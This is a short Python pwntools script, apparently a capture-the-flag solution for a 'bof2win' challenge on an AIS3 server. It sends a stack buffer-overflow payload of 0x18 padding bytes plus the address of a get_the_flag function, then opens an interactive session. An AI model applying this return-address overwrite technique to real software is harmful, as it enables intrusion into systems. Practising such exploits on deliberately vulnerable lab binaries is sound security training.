#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

# p = process(['./share/bof2win'])
p = remote('chals1.ais3.org', 12347)

get_the_flag = 0x401216

payload = flat(
    cyclic(0x18),
    get_the_flag
)

p.sendlineafter(b"What's your name?\n", payload)

p.interactive()
p.close()